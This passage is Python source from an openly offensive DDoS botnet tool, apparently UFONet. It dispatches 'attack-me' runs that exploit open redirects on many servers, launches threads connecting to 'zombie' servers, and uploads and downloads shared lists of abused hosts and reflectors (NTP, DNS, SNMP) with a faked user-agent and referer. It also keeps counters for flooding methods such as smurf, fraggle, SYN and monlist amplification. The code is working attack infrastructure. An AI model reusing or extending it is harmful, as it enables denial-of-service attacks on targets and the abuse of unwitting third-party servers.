  1182. inspection = self.instance.inspecting(options.inspect)
  1183. self.update_missions_stats() # update mothership missions stats
  1184. except Exception as e:
  1185. print ("\n[Error] [AI] Something wrong inspecting... Not any object found!\n")
  1186. if DEBUG == True:
  1187. traceback.print_exc()
  1188. return #sys.exit(2)
  1189. # abduct target -> examine target's webserver configuration (banner grabbing, anti-ddos, etc.)
  1190. if options.abduction:
  1191. try:
  1192. self.banner()
  1193. print("\n[AI] Abducting target to extract interesting information... Be patient!\n")
  1194. print('='*22 + '\n')
  1195. self.instance = Abductor(self) # instance main class for abduction operations
  1196. abduction = self.instance.abducting(options.abduction)
  1197. self.update_missions_stats() # update mothership missions stats
  1198. except Exception as e:
  1199. print ("\n[Error] [AI] Something wrong abducting... Not any data stream found!\n")
  1200. if DEBUG == True:
  1201. traceback.print_exc()
  1202. return #sys.exit(2)
  1203. # attack me -> exploit Open Redirect massively and connect all vulnerable servers to master for benchmarking
  1204. if options.attackme:
  1205. self.mothership_id = self.mothership_id[:25] # truncating anti-formats ;-)
  1206. try:
  1207. self.banner()
  1208. print("\n[AI] Ordering [Zombies] to attack you for benchmarking ;-)\n")
  1209. print("[Warning] You are going to reveal your real IP to [Zombies]!\n")
  1210. if not self.options.forceyes:
  1211. update_reply = input("[AI] Do you want to continue? (Y/n)")
  1212. else:
  1213. update_reply = "Y"
  1214. if update_reply == "n" or update_reply == "N":
  1215. print("\n[Info] [AI] [Control] Aborting 'Attack-Me' test... -> [Exiting!]\n")
  1216. return
  1217. self.mothership_hash = str(random.getrandbits(128)) # generating random evasion hash
  1218. print("\nMothership ID: " + self.mothership_id + "RND: " + self.mothership_hash)
  1219. print("\n[AI] Checking NAT/IP configuration:\n")
  1220. nat = self.check_nat()
  1221. f = open("alien", "w") # generate random alien worker
  1222. f.write(str(self.mothership_hash))
  1223. f.close()
  1224. if self.nat_error_flag == "ON":
  1225. return
  1226. zombies = self.extract_zombies()
  1227. if not zombies:
  1228. return
  1229. attackme = self.attackme(zombies)
  1230. self.update_missions_stats() # update mothership missions stats
  1231. except Exception as e:
  1232. print ("\n[Error] [AI] Something wrong redirecting [Zombies] against you...\n")
  1233. if DEBUG == True:
  1234. traceback.print_exc()
  1235. return #sys.exit(2)
  1236. # check/update for latest stable version
  1237. if options.update:
  1238. self.banner()
  1239. try:
  1240. print("\n[AI] Trying to update automatically to the latest stable version\n")
  1241. Updater()
  1242. except:
  1243. print("Not any .git repository found!\n")
  1244. print("="*30)
  1245. print("\nTo have working this feature, you should clone UFONet with:\n")
  1246. print("$ git clone %s" % self.GIT_REPOSITORY)
  1247. print("\nAlso you can try this other mirror:\n")
  1248. print("$ git clone %s" % self.GIT_REPOSITORY2 + "\n")
  1249. # launch GUI/Web interface
  1250. if options.web:
  1251. self.create_web_interface()
  1252. return
  1253. # generate [Blackhole] server to share [Zombies]
  1254. if options.blackhole is not None:
  1255. self.banner()
  1256. try:
  1257. blackhole_lib = os.path.abspath(os.path.join('core/tools')) # add [Blackhole] lib
  1258. sys.path.append(blackhole_lib)
  1259. from core.tools.blackhole import BlackHole
  1260. print("\n[AI] Initiating void generation sequence...\n")
  1261. print('='*22 + '\n')
  1262. app = BlackHole()
  1263. app.start()
  1264. while True: time.sleep(1)
  1265. except KeyboardInterrupt:
  1266. print("\n[AI] Terminating void generation sequence...\n")
  1267. app.collapse()
  1268. except Exception as e:
  1269. print("[Error] "+str(e))
  1270. print("\n[AI] Something was wrong generating [Blackhole]... -> [Aborting!]\n")
  1271. # create [Grider] server to share [Stats/Wargames/Messages]
  1272. if options.grider is not None:
  1273. self.banner()
  1274. try:
  1275. grider_lib = os.path.abspath(os.path.join('core/tools')) # add [Grider] lib
  1276. sys.path.append(grider_lib)
  1277. from core.tools.grider import Grider
  1278. print("\n[AI] Initiating void generation sequence...\n")
  1279. print('='*22 + '\n')
  1280. app = Grider()
  1281. app.start()
  1282. while True: time.sleep(1)
  1283. except KeyboardInterrupt:
  1284. print("\n[AI] Terminating void generation sequence...\n")
  1285. app.collapse()
  1286. except Exception as e:
  1287. print("[Error] "+str(e))
  1288. print("\n[AI] Something was wrong generating [Grider]... -> [Aborting!]\n")
  1289. # download list of [Zombies] from a [Blackhole] IP
  1290. if options.dip is not None:
  1291. options.download = True
  1292. self.blackhole = options.dip
  1293. # upload list of [Zombies] to a [Blackhole] IP
  1294. if options.upip is not None:
  1295. options.upload = True
  1296. self.blackhole = options.upip
  1297. # download list of [Zombies] from Community server [20/01/2020 OK!]
  1298. if options.download:
  1299. try:
  1300. self.banner()
  1301. if options.dip is not None:
  1302. print(("\n[AI] Downloading list of [Zombies] from [Private] server: "+self.blackhole+" ...\n"))
  1303. else:
  1304. print("\n[AI] Downloading list of [Zombies] from [Community] server ...\n")
  1305. print('='*22 + '\n')
  1306. download_list = self.downloading_list()
  1307. except Exception as e:
  1308. print ("[Error] [AI] Something wrong downloading! -> [Exiting!]\n")
  1309. return
  1310. # upload list of [Zombies] to Community server [20/01/2020 OK!]
  1311. if options.upload:
  1312. try:
  1313. self.banner()
  1314. if options.upip is not None:
  1315. print(("\n[AI] Uploading list of [Zombies] to [Private] server: "+self.blackhole+" ...\n"))
  1316. else:
  1317. print("\n[AI] Uploading list of [Zombies] to [Community] server ...\n")
  1318. print('='*22 + '\n')
  1319. upload_list = self.uploading_list()
  1320. except Exception as e:
  1321. print(("[Error] [AI] Something wrong uploading! "+str(e)+" -> [Exiting!]\n"))
  1322. if DEBUG == True:
  1323. traceback.print_exc()
  1324. return #sys.exit(2)
  1325. # download list of [Zombies] from GitHub server [20/01/2020 OK!]
  1326. if options.download_github:
  1327. try:
  1328. self.banner()
  1329. print("\n[AI] Downloading list of [Zombies] from [GitHub] server ...\n")
  1330. print('='*22 + '\n')
  1331. download_github_list = self.downloading_github_list()
  1332. except Exception as e:
  1333. print ("[Error] [AI] Something wrong downloading! -> [Exiting!]\n")
  1334. return
  1335. # upload list of [Zombies] to GitHub server [20/01/2020 OK!]
  1336. if options.upload_github:
  1337. try:
  1338. self.banner()
  1339. print("\n[AI] Uploading 'zombies' to [GitHub] is simple. Follow the next steps:\n")
  1340. print('='*22 + '\n')
  1341. upload_github_list = self.uploading_github_list()
  1342. except Exception as e:
  1343. print(("[Error] [AI] Something wrong uploading! "+str(e)+" -> [Exiting!]\n"))
  1344. if DEBUG == True:
  1345. traceback.print_exc()
  1346. return #sys.exit(2)
  1347. # starting new zombie thread
  1348. def connect_zombies(self, zombie):
  1349. z=Zombie(self, zombie)
  1350. t = threading.Thread(target=z.connect, name=zombie)
  1351. t.start()
  1352. # single connection handling
  1353. def connect_zombie(self, zombie):
  1354. z=Zombie(self,zombie)
  1355. return z.connect()
  1356. def extract_proxy(self, proxy):
  1357. sep = ":"
  1358. proxy_ip = proxy.rsplit(sep, 1)[0]
  1359. if proxy_ip.startswith('http://'):
  1360. proxy_ip = proxy_ip.replace('http://', '')
  1361. elif proxy_ip.startswith('https://'):
  1362. proxy_ip = proxy_ip.replace('https://', '')
  1363. if proxy_ip == '127.0.0.1': # working by using 'localhost' as http proxy (privoxy, ...)
  1364. proxy_ip = 'localhost'
  1365. proxy_port = proxy.rsplit(sep, 1)[1]
  1366. proxy_url = proxy_ip + ":" + proxy_port # ex: localhost:8118
  1367. return proxy_url
  1368. def proxy_transport(self, proxy):
  1369. proxy_url = self.extract_proxy(proxy)
  1370. proxy = urllib.request.ProxyHandler({'https': proxy_url})
  1371. opener = urllib.request.build_opener(proxy)
  1372. urllib.request.install_opener(opener)
  1373. def check_mothership_chargo(self):
  1374. f = open(self.zombies_file)
  1375. self.zombies = f.readlines()
  1376. self.zombies = [zombie.replace('\n', '') for zombie in self.zombies]
  1377. self.list_zombies = []
  1378. for zombie in self.zombies:
  1379. t = urlparse(zombie)
  1380. name_zombie = t.netloc
  1381. if name_zombie == "":
  1382. name_zombie = zombie
  1383. self.list_zombies.append(name_zombie)
  1384. self.num_zombies = str(len(self.zombies))
  1385. f.close()
  1386. f = open(self.aliens_file)
  1387. self.aliens = f.readlines()
  1388. self.aliens = [alien.replace('\n', '') for alien in self.aliens]
  1389. self.list_aliens = []
  1390. for alien in self.aliens:
  1391. t = urlparse(alien)
  1392. name_alien = t.netloc
  1393. if name_alien == "":
  1394. name_alien = alien
  1395. self.list_aliens.append(name_alien)
  1396. self.num_aliens = str(len(self.aliens))
  1397. f.close()
  1398. f = open(self.droids_file)
  1399. self.droids = f.readlines()
  1400. self.droids = [droid.replace('\n', '') for droid in self.droids]
  1401. self.list_droids = []
  1402. for droid in self.droids:
  1403. t = urlparse(droid)
  1404. name_droid = t.netloc
  1405. if name_droid == "":
  1406. name_droid = droid
  1407. self.list_droids.append(name_droid)
  1408. self.num_droids = str(len(self.droids))
  1409. f.close()
  1410. f = open(self.ucavs_file)
  1411. self.ucavs = f.readlines()
  1412. self.ucavs = [ucav.replace('\n', '') for ucav in self.ucavs]
  1413. self.list_ucavs = []
  1414. for ucav in self.ucavs:
  1415. t = urlparse(ucav)
  1416. name_ucav = t.netloc
  1417. if name_ucav == "":
  1418. name_ucav = ucav
  1419. self.list_ucavs.append(name_ucav)
  1420. self.num_ucavs = str(len(self.ucavs))
  1421. f.close()
  1422. f = open(self.rpcs_file)
  1423. self.rpcs = f.readlines()
  1424. self.rpcs = [rpc.replace('\n', '') for rpc in self.rpcs]
  1425. self.list_rpcs = []
  1426. for rpc in self.rpcs:
  1427. t = urlparse(rpc)
  1428. name_rpc = t.netloc
  1429. if name_rpc == "":
  1430. name_rpc = rpc
  1431. self.list_rpcs.append(name_rpc)
  1432. self.num_rpcs = str(len(self.rpcs))
  1433. f.close()
  1434. self.total_botnet = str(int(self.num_zombies) + int(self.num_aliens) + int(self.num_droids) + int(self.num_ucavs) + int(self.num_rpcs))
  1435. return self.total_botnet
  1436. def update_flying_stats(self):
  1437. if not os.path.exists(self.mothership_stats_file) == True: # create data when no stats file (first time used)
  1438. with open(self.mothership_stats_file, "w") as f:
  1439. json.dump({"flying": "0", "missions": "0", "scanner": "0", "transferred": "0", "max_chargo": "0", "completed": "0", "loic": "0", "loris": "0", "ufosyn": "0", "spray": "0", "smurf": "0", "fraggle": "0", "xmas": "0", "ufoack": "0", "uforst": "0", "droper": "0", "overlap": "0", "pinger": "0", "ufoudp": "0", "nuke": "0", "tachyon": "0", "monlist": "0", "sniper": "0", "crashed": "0"}, f, indent=4) # starting reset
  1440. stats_json_file = open(self.mothership_stats_file, "r")
  1441. data = json.load(stats_json_file)
  1442. stats_json_file.close()
  1443. aflying = data["flying"]
  1444. aflying = str(int(aflying) + 1) # add new flying time
  1445. data["flying"] = aflying
  1446. stats_json_file = open(self.mothership_stats_file, "w+")
  1447. stats_json_file.write(json.dumps(data))
  1448. stats_json_file.close()
  1449. def update_mothership_stats(self):
  1450. stats_json_file = open(self.mothership_stats_file, "r")
  1451. data = json.load(stats_json_file)
  1452. stats_json_file.close()
  1453. acompleted = data["completed"]
  1454. acompleted = str(int(acompleted) + 1) # add new completed attack
  1455. data["completed"] = acompleted
  1456. stats_json_file = open(self.mothership_stats_file, "w+")
  1457. stats_json_file.write(json.dumps(data))
  1458. stats_json_file.close()
  1459. def update_targets_crashed(self):
  1460. stats_json_file = open(self.mothership_stats_file, "r")
  1461. data = json.load(stats_json_file)
  1462. stats_json_file.close()
  1463. tcrashed = data["crashed"]
  1464. tcrashed = str(int(tcrashed) + 1) # add new crashed target
  1465. data["crashed"] = tcrashed
  1466. stats_json_file = open(self.mothership_stats_file, "w+")
  1467. stats_json_file.write(json.dumps(data))
  1468. stats_json_file.close()
  1469. def update_missions_stats(self):
  1470. stats_json_file = open(self.mothership_stats_file, "r")
  1471. data = json.load(stats_json_file)
  1472. stats_json_file.close()
  1473. missions = data["missions"]
  1474. missions = str(int(missions) + 1) # add new mission target
  1475. data["missions"] = missions
  1476. stats_json_file = open(self.mothership_stats_file, "w+")
  1477. stats_json_file.write(json.dumps(data))
  1478. stats_json_file.close()
  1479. def update_scanner_stats(self, num):
  1480. stats_json_file = open(self.mothership_stats_file, "r")
  1481. data = json.load(stats_json_file)
  1482. stats_json_file.close()
  1483. scanner = data["scanner"]
  1484. scanner = str(int(scanner) + int(num)) # add new zombies found by dorking to mothership stats
  1485. data["scanner"] = scanner
  1486. stats_json_file = open(self.mothership_stats_file, "w+")
  1487. stats_json_file.write(json.dumps(data))
  1488. stats_json_file.close()
  1489. def update_transferred_stats(self, num):
  1490. stats_json_file = open(self.mothership_stats_file, "r")
  1491. data = json.load(stats_json_file)
  1492. stats_json_file.close()
  1493. transferred = data["transferred"]
  1494. transferred = str(int(transferred) + int(num)) # add new zombies found by downloading via blackholes to mothership stats
  1495. data["transferred"] = transferred
  1496. stats_json_file = open(self.mothership_stats_file, "w+")
  1497. stats_json_file.write(json.dumps(data))
  1498. stats_json_file.close()
  1499. def update_max_chargo(self, chargo):
  1500. stats_json_file = open(self.mothership_stats_file, "r")
  1501. data = json.load(stats_json_file)
  1502. stats_json_file.close()
  1503. amax_chargo = data["max_chargo"]
  1504. if int(chargo) > int(amax_chargo): # new max chargo found
  1505. amax_chargo = chargo # add new max chargo
  1506. else:
  1507. amax_chargo = data["max_chargo"]
  1508. data["max_chargo"] = amax_chargo
  1509. stats_json_file = open(self.mothership_stats_file, "w+")
  1510. stats_json_file.write(json.dumps(data))
  1511. stats_json_file.close()
  1512. def update_loic_stats(self):
  1513. stats_json_file = open(self.mothership_stats_file, "r")
  1514. data = json.load(stats_json_file)
  1515. stats_json_file.close()
  1516. aloic = data["loic"]
  1517. aloic = str(int(aloic) + 1) # add new loic attack to recorded stats
  1518. self.total_loic = self.total_loic + 1 # add new loic attack to session stats
  1519. data["loic"] = aloic
  1520. stats_json_file = open(self.mothership_stats_file, "w+")
  1521. stats_json_file.write(json.dumps(data))
  1522. stats_json_file.close()
  1523. def update_loris_stats(self):
  1524. stats_json_file = open(self.mothership_stats_file, "r")
  1525. data = json.load(stats_json_file)
  1526. stats_json_file.close()
  1527. aloris = data["loris"]
  1528. aloris = str(int(aloris) + 1) # add new loris attack to recorded stats
  1529. self.total_loris = self.total_loris + 1 # add new loris attack to session stats
  1530. data["loris"] = aloris
  1531. stats_json_file = open(self.mothership_stats_file, "w+")
  1532. stats_json_file.write(json.dumps(data))
  1533. stats_json_file.close()
  1534. def update_ufosyn_stats(self):
  1535. stats_json_file = open(self.mothership_stats_file, "r")
  1536. data = json.load(stats_json_file)
  1537. stats_json_file.close()
  1538. aufosyn = data["ufosyn"]
  1539. aufosyn = str(int(aufosyn) + 1) # add new ufosyn attack to recorded stats
  1540. self.total_syn = self.total_syn + 1 # add new ufosyn attack to session stats
  1541. data["ufosyn"] = aufosyn
  1542. stats_json_file = open(self.mothership_stats_file, "w+")
  1543. stats_json_file.write(json.dumps(data))
  1544. stats_json_file.close()
  1545. def update_spray_stats(self):
  1546. stats_json_file = open(self.mothership_stats_file, "r")
  1547. data = json.load(stats_json_file)
  1548. stats_json_file.close()
  1549. aspray = data["spray"]
  1550. aspray = str(int(aspray) + 1) # add new spray attack to recorded stats
  1551. self.total_spray = self.total_spray + 1 # add new spray attack to session stats
  1552. data["spray"] = aspray
  1553. stats_json_file = open(self.mothership_stats_file, "w+")
  1554. stats_json_file.write(json.dumps(data))
  1555. stats_json_file.close()
  1556. def update_smurf_stats(self):
  1557. stats_json_file = open(self.mothership_stats_file, "r")
  1558. data = json.load(stats_json_file)
  1559. stats_json_file.close()
  1560. asmurf = data["smurf"]
  1561. asmurf = str(int(asmurf) + 1) # add new smurf attack to recorded stats
  1562. self.total_smurf = self.total_smurf + 1 # add new smurf attack to session stats
  1563. data["smurf"] = asmurf
  1564. stats_json_file = open(self.mothership_stats_file, "w+")
  1565. stats_json_file.write(json.dumps(data))
  1566. stats_json_file.close()
  1567. def update_fraggle_stats(self):
  1568. stats_json_file = open(self.mothership_stats_file, "r")
  1569. data = json.load(stats_json_file)
  1570. stats_json_file.close()
  1571. afraggle = data["fraggle"]
  1572. afraggle = str(int(afraggle) + 1) # add new fraggle attack to recorded stats
  1573. self.total_fraggle = self.total_fraggle + 1 # add new fraggle attack to session stats
  1574. data["fraggle"] = afraggle
  1575. stats_json_file = open(self.mothership_stats_file, "w+")
  1576. stats_json_file.write(json.dumps(data))
  1577. stats_json_file.close()
  1578. def update_xmas_stats(self):
  1579. stats_json_file = open(self.mothership_stats_file, "r")
  1580. data = json.load(stats_json_file)
  1581. stats_json_file.close()
  1582. axmas = data["xmas"]
  1583. axmas = str(int(axmas) + 1) # add new xmas attack to recorded stats
  1584. self.total_xmas = self.total_xmas + 1 # add new xmas attack to session stats
  1585. data["xmas"] = axmas
  1586. stats_json_file = open(self.mothership_stats_file, "w+")
  1587. stats_json_file.write(json.dumps(data))
  1588. stats_json_file.close()
  1589. def update_ufoack_stats(self):
  1590. stats_json_file = open(self.mothership_stats_file, "r")
  1591. data = json.load(stats_json_file)
  1592. stats_json_file.close()
  1593. aufoack = data["ufoack"]
  1594. aufoack = str(int(aufoack) + 1) # add new ufoack attack to recorded stats
  1595. self.total_ufoack = self.total_ufoack + 1 # add new ufoack attack to session stats
  1596. data["ufoack"] = aufoack
  1597. stats_json_file = open(self.mothership_stats_file, "w+")
  1598. stats_json_file.write(json.dumps(data))
  1599. stats_json_file.close()
  1600. def update_uforst_stats(self):
  1601. stats_json_file = open(self.mothership_stats_file, "r")
  1602. data = json.load(stats_json_file)
  1603. stats_json_file.close()
  1604. auforst = data["uforst"]
  1605. auforst = str(int(auforst) + 1) # add new uforst attack to recorded stats
  1606. self.total_uforst = self.total_uforst + 1 # add new uforst attack to session stats
  1607. data["uforst"] = auforst
  1608. stats_json_file = open(self.mothership_stats_file, "w+")
  1609. stats_json_file.write(json.dumps(data))
  1610. stats_json_file.close()
  1611. def update_droper_stats(self):
  1612. stats_json_file = open(self.mothership_stats_file, "r")
  1613. data = json.load(stats_json_file)
  1614. stats_json_file.close()
  1615. adroper = data["droper"]
  1616. adroper = str(int(adroper) + 1) # add new droper attack to recorded stats
  1617. self.total_droper = self.total_droper + 1 # add new droper attack to session stats
  1618. data["droper"] = adroper
  1619. stats_json_file = open(self.mothership_stats_file, "w+")
  1620. stats_json_file.write(json.dumps(data))
  1621. stats_json_file.close()
  1622. def update_overlap_stats(self):
  1623. stats_json_file = open(self.mothership_stats_file, "r")
  1624. data = json.load(stats_json_file)
  1625. stats_json_file.close()
  1626. aoverlap = data["overlap"]
  1627. aoverlap = str(int(aoverlap) + 1) # add new overlap attack to recorded stats
  1628. self.total_overlap = self.total_overlap + 1 # add new overlap attack to session stats
  1629. data["overlap"] = aoverlap
  1630. stats_json_file = open(self.mothership_stats_file, "w+")
  1631. stats_json_file.write(json.dumps(data))
  1632. stats_json_file.close()
  1633. def update_pinger_stats(self):
  1634. stats_json_file = open(self.mothership_stats_file, "r")
  1635. data = json.load(stats_json_file)
  1636. stats_json_file.close()
  1637. apinger = data["pinger"]
  1638. apinger = str(int(apinger) + 1) # add new pinger attack to recorded stats
  1639. self.total_pinger = self.total_pinger + 1 # add new pinger attack to session stats
  1640. data["pinger"] = apinger
  1641. stats_json_file = open(self.mothership_stats_file, "w+")
  1642. stats_json_file.write(json.dumps(data))
  1643. stats_json_file.close()
  1644. def update_ufoudp_stats(self):
  1645. stats_json_file = open(self.mothership_stats_file, "r")
  1646. data = json.load(stats_json_file)
  1647. stats_json_file.close()
  1648. aufoudp = data["ufoudp"]
  1649. aufoudp = str(int(aufoudp) + 1) # add new ufoudp attack to recorded stats
  1650. self.total_ufoudp = self.total_ufoudp + 1 # add new ufoudp attack to session stats
  1651. data["ufoudp"] = aufoudp
  1652. stats_json_file = open(self.mothership_stats_file, "w+")
  1653. stats_json_file.write(json.dumps(data))
  1654. stats_json_file.close()
  1655. def update_nuke_stats(self):
  1656. stats_json_file = open(self.mothership_stats_file, "r")
  1657. data = json.load(stats_json_file)
  1658. stats_json_file.close()
  1659. anuke = data["nuke"]
  1660. anuke = str(int(anuke) + 1) # add new nuke attack to recorded stats
  1661. self.total_nuke = self.total_nuke + 1 # add new nuke attack to session stats
  1662. data["nuke"] = anuke
  1663. stats_json_file = open(self.mothership_stats_file, "w+")
  1664. stats_json_file.write(json.dumps(data))
  1665. stats_json_file.close()
  1666. def update_tachyon_stats(self):
  1667. stats_json_file = open(self.mothership_stats_file, "r")
  1668. data = json.load(stats_json_file)
  1669. stats_json_file.close()
  1670. atachyon = data["tachyon"]
  1671. atachyon = str(int(atachyon) + 1) # add new tachyon attack to recorded stats
  1672. self.total_tachyon = self.total_tachyon + 1 # add new tachyon attack to session stats
  1673. data["tachyon"] = atachyon
  1674. stats_json_file = open(self.mothership_stats_file, "w+")
  1675. stats_json_file.write(json.dumps(data))
  1676. stats_json_file.close()
  1677. def update_monlist_stats(self):
  1678. stats_json_file = open(self.mothership_stats_file, "r")
  1679. data = json.load(stats_json_file)
  1680. stats_json_file.close()
  1681. amonlist = data["monlist"]
  1682. amonlist = str(int(amonlist) + 1) # add new monlist attack to recorded stats
  1683. self.total_monlist = self.total_monlist + 1 # add new monlist attack to session stats
  1684. data["monlist"] = amonlist
  1685. stats_json_file = open(self.mothership_stats_file, "w+")
  1686. stats_json_file.write(json.dumps(data))
  1687. stats_json_file.close()
  1688. def update_sniper_stats(self):
  1689. stats_json_file = open(self.mothership_stats_file, "r")
  1690. data = json.load(stats_json_file)
  1691. stats_json_file.close()
  1692. asniper = data["sniper"]
  1693. asniper = str(int(asniper) + 1) # add new sniper attack to recorded stats
  1694. self.total_sniper = self.total_sniper + 1 # add new sniper attack to session stats
  1695. data["sniper"] = asniper
  1696. stats_json_file = open(self.mothership_stats_file, "w+")
  1697. stats_json_file.write(json.dumps(data))
  1698. stats_json_file.close()
  1699. def uploading_list(self):
  1700. from io import BytesIO
  1701. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  1702. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  1703. abductions = "botnet/abductions.txt.gz"
  1704. troops = "botnet/troops.txt.gz"
  1705. robots = "botnet/robots.txt.gz"
  1706. drones = "botnet/drones.txt.gz"
  1707. reflectors = "botnet/reflectors.txt.gz"
  1708. crystals = "botnet/crystals.txt.gz"
  1709. warps = "botnet/warps.txt.gz"
  1710. bosons = "botnet/bosons.txt.gz"
  1711. if self.options.timeout: # set timeout
  1712. try:
  1713. timeout = int(self.options.timeout)
  1714. except:
  1715. timeout = 5
  1716. else:
  1717. timeout = 5
  1718. if timeout < 1:
  1719. timeout = 5
  1720. try:
  1721. print("[AI] Checking integrity of [Blackhole]: "+self.blackhole+"\n")
  1722. if self.options.forcessl:
  1723. if self.options.proxy: # set proxy
  1724. self.proxy_transport(options.proxy)
  1725. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/abductions.txt.gz', None, headers)
  1726. abductions_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1727. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/troops.txt.gz', None, headers)
  1728. troops_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1729. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/robots.txt.gz', None, headers)
  1730. robots_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1731. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/drones.txt.gz', None, headers)
  1732. drones_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1733. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/reflectors.txt.gz', None, headers)
  1734. reflectors_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1735. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/crystals.txt.gz', None, headers)
  1736. crystals_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1737. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/warps.txt.gz', None, headers)
  1738. warps_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1739. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/bosons.txt.gz', None, headers)
  1740. bosons_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1741. else:
  1742. if self.options.proxy: # set proxy
  1743. self.proxy_transport(options.proxy)
  1744. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/abductions.txt.gz', None, headers)
  1745. abductions_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1746. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/troops.txt.gz', None, headers)
  1747. troops_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1748. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/robots.txt.gz', None, headers)
  1749. robots_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1750. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/drones.txt.gz', None, headers)
  1751. drones_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1752. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/reflectors.txt.gz', None, headers)
  1753. reflectors_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1754. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/crystals.txt.gz', None, headers)
  1755. crystals_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1756. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/warps.txt.gz', None, headers)
  1757. warps_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1758. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/bosons.txt.gz', None, headers)
  1759. bosons_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1760. if abductions_reply == "" and troops_reply == "" and robots_reply == "" and drones_reply == "" and reflectors_reply == "" and crystals_reply == "" and warps_reply == "" and bosons_reply == "":
  1761. print("[AI] [Control] [Blackhole] [Server] Reply: [VORTEX FAILED!]")
  1762. print('-'*12 + '\n')
  1763. print("[Error] [AI] Unable to uploading list of [Zombies] to this [Blackhole] [Server] -> [Exiting!]\n")
  1764. return
  1765. print("[AI] [Control] [Blackhole] [Server] Reply: [VORTEX READY!] ;-)")
  1766. f_in_abductions = gzip.open(BytesIO(abductions_reply), 'rb')
  1767. f_out_abductions = open('botnet/abductions.txt', 'wb')
  1768. f_out_abductions.write(f_in_abductions.read())
  1769. f_in_abductions.close()
  1770. f_out_abductions.close()
  1771. num_zombies = 0
  1772. with open('botnet/abductions.txt') as f:
  1773. for _ in f:
  1774. num_zombies = num_zombies + 1
  1775. print("\n[Info] [Zombies] on [Blackhole]: "+ str(num_zombies))
  1776. f_in_robots = gzip.open(BytesIO(robots_reply), 'rb')
  1777. f_out_robots = open('botnet/robots.txt', 'wb')
  1778. f_out_robots.write(f_in_robots.read())
  1779. f_in_robots.close()
  1780. f_out_robots.close()
  1781. num_robots = 0
  1782. with open('botnet/robots.txt') as f:
  1783. for _ in f:
  1784. num_robots = num_robots + 1
  1785. print("[Info] [Droids] on [Blackhole] : "+ str(num_robots))
  1786. f_in_troops = gzip.open(BytesIO(troops_reply), 'rb')
  1787. f_out_troops = open('botnet/troops.txt', 'wb')
  1788. f_out_troops.write(f_in_troops.read())
  1789. f_in_troops.close()
  1790. f_out_troops.close()
  1791. num_aliens = 0
  1792. with open('botnet/aliens.txt') as f:
  1793. for _ in f:
  1794. num_aliens = num_aliens + 1
  1795. print("[Info] [Aliens] on [Blackhole] : "+ str(num_aliens))
  1796. f_in_drones = gzip.open(BytesIO(drones_reply), 'rb')
  1797. f_out_drones = open('botnet/drones.txt', 'wb')
  1798. f_out_drones.write(f_in_drones.read())
  1799. f_in_drones.close()
  1800. f_out_drones.close()
  1801. num_drones = 0
  1802. with open('botnet/drones.txt') as f:
  1803. for _ in f:
  1804. num_drones = num_drones + 1
  1805. print("[Info] [UCAVs] on [Blackhole] : "+ str(num_drones))
  1806. f_in_reflectors = gzip.open(BytesIO(reflectors_reply), 'rb')
  1807. f_out_reflectors = open('botnet/reflectors.txt', 'wb')
  1808. f_out_reflectors.write(f_in_reflectors.read())
  1809. f_in_reflectors.close()
  1810. f_out_reflectors.close()
  1811. num_reflectors = 0
  1812. with open('botnet/reflectors.txt') as f:
  1813. for _ in f:
  1814. num_reflectors = num_reflectors + 1
  1815. print("[Info] [X-RPCs] on [Blackhole] : "+ str(num_reflectors))
  1816. f_in_crystals = gzip.open(BytesIO(crystals_reply), 'rb')
  1817. f_out_crystals = open('botnet/crystals.txt', 'wb')
  1818. f_out_crystals.write(f_in_crystals.read())
  1819. f_in_crystals.close()
  1820. f_out_crystals.close()
  1821. num_crystals = 0
  1822. with open('botnet/crystals.txt') as f:
  1823. for _ in f:
  1824. num_crystals = num_crystals + 1
  1825. print("[Info] [NTPs] on [Blackhole] : "+ str(num_crystals))
  1826. f_in_warps = gzip.open(BytesIO(warps_reply), 'rb')
  1827. f_out_warps = open('botnet/warps.txt', 'wb')
  1828. f_out_warps.write(f_in_warps.read())
  1829. f_in_warps.close()
  1830. f_out_warps.close()
  1831. num_warps = 0
  1832. with open('botnet/warps.txt') as f:
  1833. for _ in f:
  1834. num_warps = num_warps + 1
  1835. print("[Info] [DNSs] on [Blackhole] : "+ str(num_warps))
  1836. f_in_bosons = gzip.open(BytesIO(bosons_reply), 'rb')
  1837. f_out_bosons = open('botnet/bosons.txt', 'wb')
  1838. f_out_bosons.write(f_in_bosons.read())
  1839. f_in_bosons.close()
  1840. f_out_bosons.close()
  1841. num_bosons = 0
  1842. with open('botnet/bosons.txt') as f:
  1843. for _ in f:
  1844. num_bosons = num_bosons + 1
  1845. print("[Info] [SNMPs] on [Blackhole] : "+ str(num_bosons))
  1846. print('-'*12 + '\n')
